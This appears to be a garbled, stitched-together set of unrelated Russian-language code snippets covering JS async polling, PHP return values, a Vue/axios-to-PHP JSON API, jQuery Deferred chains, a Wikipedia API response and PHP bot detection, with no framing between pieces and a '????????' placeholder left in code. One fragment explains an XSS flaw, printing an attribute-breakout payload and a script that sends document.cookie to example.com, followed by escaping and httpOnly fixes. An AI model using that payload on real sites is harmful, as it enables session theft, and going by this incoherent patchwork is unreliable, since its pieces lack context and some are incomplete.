mask: radial-gradient(320px 320px at var(--x) var(--y), black 1%, transparent 40%);
async function() {
let result = null;
while (1) {
result = await fetch(...);
if (result тот, который нужен) {
break;
}
await new Promise(r => setTimeout(r, 5000));
}
return result;
}
var parser = new DOMParser();
var doc = parser.parseFromString(stringContainingXMLSource, "application/xml");
// Возврат нескольких значений:
function some() {
return [23, 42];
}
// Получение
[$a, $b] = some();
\var_dump($a, $b);
// Возврат нескольких значений:
function some() {
return ['a' => 23, 'b' => 42];
}
// Получение
['a' => $a, 'b' => $b] = some();
\var_dump($a, $b);
function some() {
yield 'a' => 23;
yield 'b' => 42;
}
foreach (some() as $key => $value) {
echo $key . ':' . $value; // a:23 b:42
}
function some() {
yield 23;
yield 42;
}
foreach (some() as $value) {
echo $value; // 23 42
}
function some() {
yield 23;
return 42;
}
$value = some();
echo $value->current(); // 23
$value->next();
echo $value->getReturn(); // 42
class DataTransferObject
{
private $a;
private $b;
public function __construct($a, $b)
{
$this->a = $a;
$this->b = $b;
}
public function getA()
{
return $this->a;
}
public function getB()
{
return $this->b;
}
}
function some() {
return new DataTransferObject(23, 42);
}
$value = some();
echo $value->getA(); // 23
echo $value->getB(); // 42
git filter-branch --tree-filter "rm -rf PATH" HEAD
git push origin master --force
const { items } = JSON.parse(json).response;
const html = `
<tbody>${items.map(n => `
<tr>
<td>${n.title}</td>
<td>${n.director}</td>
<td>${n.year}</td>
<td>${Object.values(n.photo).map(m => `<img src="${m}">`).join('')}</td>
</tr>`).join('')}
</tbody>
`;
$('#example').append(html);
// или
document.querySelector('#example').insertAdjacentHTML('beforeend', html);
items.forEach(function(n) {
const tr = this.insertRow();
tr.insertCell().textContent = n.title;
tr.insertCell().textContent = n.director;
tr.insertCell().textContent = n.year;
tr.insertCell().append(...Object.values(n.photo).reduce((acc, m) => (
(acc[acc.length] = new Image).src = m,
acc
), []));
}, document.getElementById('example').createTBody());
callApi(url,prms,callback){
this.setServerError('',''); // это функция, которая в data выставляет определенные поля
//в результате чего ошибки выводятся прямо на странице, удобно для отладки
axios({
method:"post",
url:url,
data:prms
}).then((response) => {
// в response.data получаем JSON,
// в моем случае сервер формирует обязательные поля success,error,buffer
// в buffer перед выдачей JSON снимается html-вывод, возможно это отладочная информация,
// которую выдает backend, возможно PHP-warnings
let dt=response.data;
if(!dt.success){
this.setServerError(dt.error,dt.buffer);
}else{
// ну и, собственно, сам вызов колбека, который происходит только в случае успешного приема данных
callback(dt);
}
}).catch((error) => {
// эту часть вызывает сам axios при возникновении серверных ошибок, то есть все, что не 200 OK
// позволяет увидеть, в частности, ошибку 500, вернее сам факт ее возникновения, если она обрабатывается
// "стандартным" методом апача - пустая страница и все
this.setServerError(error.message,error.stack);
});
},
this.$root.$on('callApi',(url,prms,callback)=>{this.callApi(url,prms,callback)});
this.$root.$emit('callApi', '/api/goods', {action: 'getgoodsinfo', article: '12345678'}, (dt) => {
this.articleinfo=dt.data.articleinfo;
})
<?php
// регистрируем функцию завершения, чтобы обрабатывать грубые ошибки,
//например вызов несуществующего метода у объекта
register_shutdown_function(function () {
$error = error_get_last();
if ($error && ($error['type'] == E_ERROR || $error['type'] == E_PARSE || $error['type'] == E_COMPILE_ERROR)) {
$res=array(
'buffer'=>ob_get_contents(),
'success'=>false,
'error'=>"PHP Fatal: ".$error['message']." in ".preg_replace('/(.*)\/(.*)/', "$2", $error['file']).":".$error['line']
);
ob_clean();
header('HTTP/1.1 200 Ok');
header("Access-Control-Allow-Origin: *");
echo json_encode($res);
// ... завершаемая корректно ....
}
});
// для кроссдоменного CORS, при необходимости - закомментировать или заменить звездочку на требуемое
if($_SERVER['REQUEST_METHOD']=='OPTIONS' ){
ob_clean();
header("Access-Control-Allow-Origin: *");
header("Content-type: application/json; charset=utf-8");
header("Access-Control-Allow-Headers: X-Requested-With, Content-Type");
header("Access-Control-Request-Method: POST");
return true;
}
// /*
// протокол обмена
// - вход - команда по сегменту, например http://site.ru/api/goods - api - попали сюда, goods - команда REST
// в php://input должен быть json, в котором обязателен параметр action, например getgoodsinfo
// в результате формируется имя функции класса goods_getgoodsinfo, которая вызывается
// с параметром входящего json
// функция класса должна вернуть массив с тремя полями - data & success & error
// в поле data возвращается непосредственно результат функции, в нашем случае - реестр чеков
// в поле success возвращается true | false - признак успешного выполнения
// в поле error возвращается описание ошибки в случае неудачного выполнения функции
// */
$api=new ApiCls();
// функция, проверяющая залогиненность юзера
if(is_user_login()){
$api->checkcommand();
}else{
$res=array('succes'=>false,'error'=>'Пользователь не авторизован','data'=>'');
ob_clean();
header("Content-type: application/json; charset=utf-8");
header("Access-Control-Allow-Origin: *");
header("Access-Control-Allow-Headers: X-Requested-With, Content-Type");
echo json_encode($res);
}
return true;
class ApiCls{
function checkcommand(){ // точка входа для класса api, здесь первичный разбор,
//вызов метода и возврат результата
// главное - определить второй сегмент в url, то есть в случае http://site.ru/api/goods
$segment=????????; // в $segment должен оказаться 'goods'
$res=array('success'=>false,'error'=>'Empty action'); // сразу проверка на наличие action в параметрах
if(!$segment){
$res['error']='Empty command';
}else{
if($_SERVER['REQUEST_METHOD']=='PUT' || $_SERVER['REQUEST_METHOD']=='POST'){
$reqdata = file_get_contents('php://input');
$b=json_decode($reqdata);
$b=get_object_vars($b);
if(isset($b['action'])){
$res['error']='no error';
$nm=$segment.'_'.$b['action'];
$r=$this->$nm($b); // вызов метода по action из пост и дальнейшая обработка результатов
// чё-то тут намутил, но работает - и ладно
if(!isset($r['success'])){
$res['success']=false;
$res['error']='No success flag in method '.$nm;
}else{
if(!isset($r['data'])){
$res['success']=false;
$res['error']='No result data in method '.$nm;
}else{
$res['success']=$r['success'];
$res['data']=$r['data'];
if(!$r['success']){
if(isset($r['error'])){
$res['error']=$r['error'];
}else{
$res['error']='Success is false, but no error message in method '.$nm;
}
}
}
}
}
}
}
// непосредственная выдача данных
$this->_printresponse($res);
}
function _printresponse($res){
// проверяем наличие html-вывода (отладка или warnings)
$res['buffer']=ob_get_contents();
if($res['buffer']!=''){
$res['success']=false;
isset($res['error'])?$res['error']=implode(',',array('module error',$res['error'])):$res['error']='module error';
}
// очищаем буфер вывода и формируем свои заголовки
ob_clean();
header("Content-type: application/json; charset=utf-8");
header("Access-Control-Allow-Origin: *");
header("Access-Control-Allow-Headers: X-Requested-With, Content-Type");
// ну и, наконец, выдаем результирующий JSON
echo json_encode($res);
}
function __call($name,$post){
// эта функция вызывается при попытке вызвать несуществующий метод класса, то есть при вызове '/api/blablabla' получим отлуп
$info=array('method'=>$name,'post'=>$post,'error'=>'Method not found','success'=>false);
return $info;
}
/*********************************************************/
// начинаем блок методов api
function goods_getgoodsinfo($prm){
// формируем заготовку ответа
$res=array('data'=>array(),'success'=>true,'error'=>'');
// при необходимости здесь можно вставить проверку наличия полномочий у пользователя
// и если что не так, то выключить success, прописать "облом!" в error и не возвращать данные
$res['data']['articleinfo']= getArticleInfo($prm['article']); // вызов функции,
//которая собирает требуемые данные для определенного артикула и возвращает, опять же
// в формате JSON
return $res;
}
}
?>
one().done(two);
function one() {
var dfd = new $.Deferred();
// Запускаем асинхронную задачу. Например, ajax-запрос.
setTimeout(function () {
var foo = 'bar';
// "Выполняем обещание", передавая в него какую-то информацию.
// Передавать аргументы, разумеется, не обязательно.
dfd.resolve(foo);
}, 2000);
// Возвращаем из функции обещание, на которое могут подписаться другие функции.
// Обратите внимание, этот код выполнится до того, как завершится асинхронная задача.
return dfd.promise();
}
function two(foo) {
// Обрабатываем данные, полученные внутри асинхронной функции one.
console.log('two', foo);
}
one().then(two, onOneError).then(three, onTwoError);
function one() {
var dfd = new $.Deferred();
setTimeout(function () {
console.log('one');
if (Math.round(Math.random() * 10) >= 5)
{
dfd.resolve();
}
else
{
dfd.reject();
}
}, 1000);
return dfd.promise();
}
function two() {
var dfd = new $.Deferred();
setTimeout(function () {
console.log('two');
if (Math.round(Math.random() * 10) >= 5)
{
dfd.resolve();
}
else
{
dfd.reject();
}
}, 1000);
return dfd.promise();
}
function three() {
setTimeout(function () {
console.log('three');
}, 1000);
}
function onTwoError() {
console.log('twoError', arguments);
}
function onOneError() {
console.log('oneError', arguments);
}
one(function () {
two(three)
});
function one(callback) {
console.log('one');
setTimeout(callback, 1000);
}
function two(callback) {
console.log('two');
setTimeout(callback, 1000);
}
function three() {
console.log('three');
}
3. Указывайте кодировку на каждой веб-странице.
В случае если тег расположен до тега и заполняется пользовательскими данными
<body style="background: #282b31 url($user_background) 50% 0 repeat;">
...
</body>
<body style="background: #282b31 url(http://example.com/image.png) 50% 0 repeat;">
...
</body>
<script>alert('Мамку админа ипал!!111');</script>
http://example.com/image.png') 50% 0 repeat;"><script>alert('Мамку админа ипал!!111');</script><input type="hidden" style="background: #282b31 url(
<script>$.get('http://example.com/adminlox.php?sniffer=' + document.cookie);</script>
htmlspecialchars($user_background, ENT_QUOTES, 'UTF-8');
таким образом, код, показанный выше уже работать не будет. Дальше нужно установить httponly у сессионных Cookie (если ещё не стоит), для этого нужно заменить вашу конструкцию, на что-то вроде этого:header( "Set-Cookie: name=value; httpOnly" );
setcookie('Foo','Bar',0,'/', 'www.sample.com' , FALSE, TRUE);
https://en.wikipedia.org/w/api.php?action=opensearch&search=<search string>&prop=info&format=<format>&inprop=url
https://en.wikipedia.org/w/api.php?action=opensearch&search=microsoft&prop=info&format=json&inprop=url
[
"microsoft",
[
"Microsoft",
"Microsoft Windows",
"Microsoft Word",
"Microsoft Excel",
"Microsoft Office",
"Microsoft Visual Studio",
"Microsoft PowerPoint",
"Microsoft SQL Server",
"Microsoft Office 2007",
"Microsoft Access"
],
[
"Microsoft Corporation (, abbreviated as MS) is an American multinational technology company with headquarters in Redmond, Washington.",
"Microsoft Windows, or simply Windows, is a metafamily of graphical operating systems developed, marketed, and sold by Microsoft.",
"Microsoft Word is a word processor developed by Microsoft. It was first released on October 25, 1983 under the name Multi-Tool Word for Xenix systems.",
"Microsoft Excel is a spreadsheet developed by Microsoft for Windows, macOS, Android and iOS. It features calculation, graphing tools, pivot tables, and a macro programming language called Visual Basic for Applications.",
"Microsoft Office is an office suite of applications, servers, and services developed by Microsoft. It was first announced by Bill Gates on 1 August 1988, at COMDEX in Las Vegas.",
"Microsoft Visual Studio is an integrated development environment (IDE) from Microsoft. It is used to develop computer programs for Microsoft Windows, as well as web sites, web apps, web services and mobile apps.",
"Microsoft PowerPoint is a presentation program, created by Robert Gaskins and Dennis Austin at a software company named Forethought, Inc.",
"Microsoft SQL Server is a relational database management system developed by Microsoft. As a database server, it is a software product with the primary function of storing and retrieving data as requested by other software applications—which may run either on the same computer or on another computer across a network (including the Internet).",
"Microsoft Office 2007 (codenamed Office 12) is a version of Microsoft Office, a family of office suites and productivity software for Windows, developed and published by Microsoft.",
"Microsoft Access is a database management system (DBMS) from Microsoft that combines the relational Microsoft Jet Database Engine with a graphical user interface and software-development tools."
],
[
"https://en.wikipedia.org/wiki/Microsoft",
"https://en.wikipedia.org/wiki/Microsoft_Windows",
"https://en.wikipedia.org/wiki/Microsoft_Word",
"https://en.wikipedia.org/wiki/Microsoft_Excel",
"https://en.wikipedia.org/wiki/Microsoft_Office",
"https://en.wikipedia.org/wiki/Microsoft_Visual_Studio",
"https://en.wikipedia.org/wiki/Microsoft_PowerPoint",
"https://en.wikipedia.org/wiki/Microsoft_SQL_Server",
"https://en.wikipedia.org/wiki/Microsoft_Office_2007",
"https://en.wikipedia.org/wiki/Microsoft_Access"
]
]
function isBot(&$botname = ''){
/* Эта функция будет проверять, является ли посетитель роботом поисковой системы */
$bots = array(
'rambler','googlebot','aport','yahoo','msnbot','turtle','mail.ru','omsktele',
'yetibot','picsearch','sape.bot','sape_context','gigabot','snapbot','alexa.com',
'megadownload.net','askpeter.info','igde.ru','ask.com','qwartabot','yanga.co.uk',
'scoutjet','similarpages','oozbot','shrinktheweb.com','aboutusbot','followsite.com',
'dataparksearch','google-sitemaps','appEngine-google','feedfetcher-google',
'liveinternet.ru','xml-sitemaps.com','agama','metadatalabs.com','h1.hrn.ru',
'googlealert.com','seo-rus.com','yaDirectBot','yandeG','yandex',
'yandexSomething','Copyscape.com','AdsBot-Google','domaintools.com',
'Nigma.ru','bing.com','dotnetdotcom'
);
foreach($bots as $bot)
if(stripos($_SERVER['HTTP_USER_AGENT'], $bot) !== false){
$botname = $bot;
return true;
}
return false;
}
if( isBot($bname) ) {
// Перебрасываем на Москву
}